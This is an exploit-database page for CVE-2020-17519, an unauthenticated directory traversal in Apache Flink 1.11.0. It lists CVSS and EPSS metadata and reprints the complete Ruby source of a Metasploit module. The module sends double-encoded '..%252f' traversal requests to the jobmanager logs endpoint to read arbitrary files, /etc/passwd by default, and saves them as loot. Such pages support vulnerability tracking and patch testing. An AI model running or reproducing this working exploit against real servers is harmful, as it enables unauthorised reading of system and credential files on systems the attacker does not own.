Exploitalert - Database of Exploits

Apache Flink 1.11.0 Unauthenticated Arbitrary File Read (Metasploit)

CVE	Category	Price	Severity
CVE-2020-17519	CWE-200	Not specified	High

Author	Risk	Exploitation Type	Date
Metasploit	High	Remote	2021-01-14

CPE
cpe:cpe:/a:apache:flink:1.11.0

CVSS	EPSS	EPSSP
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N	0.02192	0.50148

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Network	AV	The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	None	PR	The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction	None	UI	The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	High	C	There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity	None	I	There is no impact on the integrity of the system; the attacker does not gain the ability to modify any files or information on the target system.
Availability	None	A	There is no impact on the availability of the system; the attacker does not have the ability to disrupt access to or use of the system.

https://cxsecurity.com/ascii/WLB-2021010106

Apache Flink 1.11.0 Unauthenticated Arbitrary File Read (Metasploit)

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Scanner include Msf::Auxiliary::Report def initialize(info = {}) super(update_info( info, 'Name' => 'Apache Flink File Read Vulnerability', 'Description' => %q{ This module exploits an unauthenticated directory traversal vulnerability in Apache Flink version 1.11.0 (and released in 1.11.1 and 1.11.2 as well), allowing arbitrary file read with the web server privileges }, 'Author' => [ '0rich1 - Ant Security FG Lab', # Vulnerability discovery 'Hoa Nguyen - Suncsr Team', # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2020-17519'], ['URL', 'http://www.openwall.com/lists/oss-security/2021/01/05/2'], ['URL', 'https://www.tenable.com/cve/CVE-2020-17519'] ], 'Privileged' => false, 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Targets' => [['', {}]], 'DefaultTarget' => 0, 'DisclosureDate' => 'Jan 05 2021' )) register_options([ OptInt.new('DEPTH',[true,'Traversal Depth',12]), OptString.new('FILEPATH',[true,'The path file to read','/etc/passwd']) ]) end def run_host(ip) traversal = '..%252f' * datastore['DEPTH'] filename = datastore['FILEPATH'].gsub("/","%252f") filename = filename[1, filename.length] if filename =~ /^\// res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path,'jobmanager','logs',"#{traversal}#{filename}"), }) fail_with Failure::Unreachable, 'Connection failed' unless res fail_with Failure::NotVulnerable, 'Connection failed. Nothingn was downloaded' if res.code != 200 fail_with Failure::NotVulnerable, 'Nothing was downloaded. Change the DEPTH parameter' if res.body.length.zero? print_status('Downloading file...') print_line("\n#{res.body}\n") fname = datastore['FILEPATH'] path = store_loot( 'apache.traversal', 'text/plain', ip, res.body, fname ) print_good("File saved in: #{path}") end end

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